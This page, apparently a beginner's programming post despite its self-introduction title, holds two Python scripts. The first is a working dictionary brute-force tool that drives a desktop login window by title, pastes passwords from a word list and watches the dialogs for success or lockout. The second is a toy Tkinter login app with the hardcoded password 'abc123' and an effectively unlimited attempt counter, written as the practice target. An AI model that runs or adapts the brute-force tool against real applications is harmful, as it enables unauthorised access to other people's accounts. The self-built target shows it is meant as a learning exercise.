计算机初学者的自我介绍
2026/9/28 18:06:30
import pyautogui import win32gui import win32con import time from pynput import keyboard as pk_keyboard import pyperclip DICT_FILE = "password.txt" WINDOW_TITLE = "本地登录测试程序" is_running = False pwd_list_global = None def get_login_hwnd(): hwnd_result = None def enum_cb(hwnd, arg): nonlocal hwnd_result if win32gui.IsWindowVisible(hwnd): win_title = win32gui.GetWindowText(hwnd) if WINDOW_TITLE in win_title: hwnd_result = hwnd return False return True win32gui.EnumWindows(enum_cb, None) return hwnd_result def bring_window_front(hwnd): """定位窗口,点击标题栏,稳定获取前台+键盘焦点""" if win32gui.IsIconic(hwnd): win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) time.sleep(0.25) left, top, right, bottom = win32gui.GetWindowRect(hwnd) win32gui.SetWindowPos( hwnd, win32con.HWND_TOP, 0, 0, 0, 0, win32con.SWP_NOMOVE | win32con.SWP_NOSIZE ) time.sleep(0.2) title_x = left + 10 title_y = top + 8 pyautogui.click(x=title_x, y=title_y) time.sleep(0.35) try: win32gui.SetForegroundWindow(hwnd) except Exception: pass try: win32gui.SetFocus(hwnd) except Exception: pass time.sleep(0.3) print(f"✅窗口已激活,窗口坐标:{left},{top}") def get_msgbox_text(): try: hwnd_list = [] def enum_windows(hwnd, arg): if win32gui.IsWindowVisible(hwnd): cls = win32gui.GetClassName(hwnd) if cls == "#32770": hwnd_list.append(hwnd) return True win32gui.EnumWindows(enum_windows, None) if not hwnd_list: return "" hwnd_pop = hwnd_list[0] buf = [] def enum_child(hwnd, arg): if win32gui.GetClassName(hwnd) == "Static": t = win32gui.GetWindowText(hwnd) if t: buf.append(t) return True win32gui.EnumChildWindows(hwnd_pop, enum_child, None) return "\n".join(buf) except Exception: return "" def close_msg_box(): try: hwnd_list = [] def enum_windows(hwnd, arg): if win32gui.IsWindowVisible(hwnd) and win32gui.GetClassName(hwnd) == "#32770": hwnd_list.append(hwnd) return True win32gui.EnumWindows(enum_windows, None) if hwnd_list: pyautogui.press("enter") time.sleep(0.35) except Exception: pass def brute_loop(): global is_running pwd_list = pwd_list_global total = len(pwd_list) print("\n>>>> 开始字典爆破,F2停止 <<<<") for idx, pwd in enumerate(pwd_list): if not is_running: print("\n>>>> F2停止信号,退出循环 <<<<") break hwnd = get_login_hwnd() if hwnd is None: print("❌ 找不到登录窗口,终止") is_running = False break bring_window_front(hwnd) try: print(f"\n[{idx+1}/{total}] 尝试密码:{pwd}") print("-> Tab切换到密码输入框") pyautogui.press("tab") time.sleep(0.25) print("-> 全选原有内容,使用剪贴板复制粘贴输入密码") pyautogui.hotkey("ctrl", "a") time.sleep(0.1) # ========== 复制粘贴逻辑 start ========== pyperclip.copy(pwd) # 把密码复制进系统剪贴板 time.sleep(0.15) pyautogui.hotkey("ctrl", "v") # Ctrl+V粘贴到输入框 # ========== 复制粘贴逻辑 end ========== time.sleep(0.2) print("-> Tab切换到登录按钮") pyautogui.press("tab") time.sleep(0.3) print("-> 按下【空格】触发登录按钮") pyautogui.press("space") time.sleep(0.6) msg_text = get_msgbox_text() print(f"[弹窗识别] >>>{msg_text}<<<") if "登录通过" in msg_text: print(f"\n✅ 成功!找到密码 = {pwd}") is_running = False break elif "密码错误" in msg_text: close_msg_box() continue elif "锁定" in msg_text: print("\n⛔ 程序已锁定,停止") is_running = False break else: print("⚠️ 未检测到弹窗,关闭残留弹窗") close_msg_box() except Exception as e: print(f"异常[{idx+1}]:{e}") close_msg_box() time.sleep(0.6) continue def on_press(key): global is_running if key == pk_keyboard.Key.f1: if not is_running: print("\n>>> 收到F1启动信号") is_running = True else: print("⚠️ 已经在运行,忽略F1") elif key == pk_keyboard.Key.f2: if is_running: print(">>> 收到F2停止信号") is_running = False elif key == pk_keyboard.Key.esc: is_running = False print("ESC退出监听") return False def main(): global pwd_list_global print("===== 剪贴板复制粘贴版本|窗口点击激活焦点 =====") print(f"目标窗口标题:{WINDOW_TITLE}") print("热键:F1开始 | F2停止 | ESC退出") test_hwnd = get_login_hwnd() if test_hwnd is None: print("⚠️ 警告:未检测到登录窗口,请先打开login_app!") try: with open(DICT_FILE, "r", encoding="utf-8") as f: pwd_list = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"找不到 {DICT_FILE}") return pwd_list_global = pwd_list print(f"加载密码数量:{len(pwd_list)}") print("\n等待F1按键启动...") listener = pk_keyboard.Listener(on_press=on_press) listener.start() while True: if is_running: brute_loop() time.sleep(0.2) if not listener.is_alive(): break listener.join() print("脚本结束") if __name__ == "__main__": main()本地登录程序代码
import tkinter as tk from tkinter import messagebox # 正确密码 CORRECT_PASSWORD = "abc123" # 最多允许错误次数 MAX_ERR = 999999 err_count = 0 def check_pwd(): global err_count if err_count >= MAX_ERR: messagebox.showerror("锁定", "密码错误次数过多,程序已锁定!") return pwd = entry_pwd.get() if pwd == CORRECT_PASSWORD: messagebox.showinfo("成功", "登录通过!") else: err_count += 1 remain = MAX_ERR - err_count if remain > 0: messagebox.showerror("错误", f"密码错误!剩余尝试次数:{remain}") else: messagebox.showerror("锁定", "密码错误次数过多,程序已锁定!") root = tk.Tk() root.title("本地登录测试程序") root.geometry("320x160") tk.Label(root, text="请输入密码:").pack(pady=5) entry_pwd = tk.Entry(root, width=30) entry_pwd.pack(pady=5) tk.Button(root, text="登录", command=check_pwd).pack(pady=8) root.mainloop()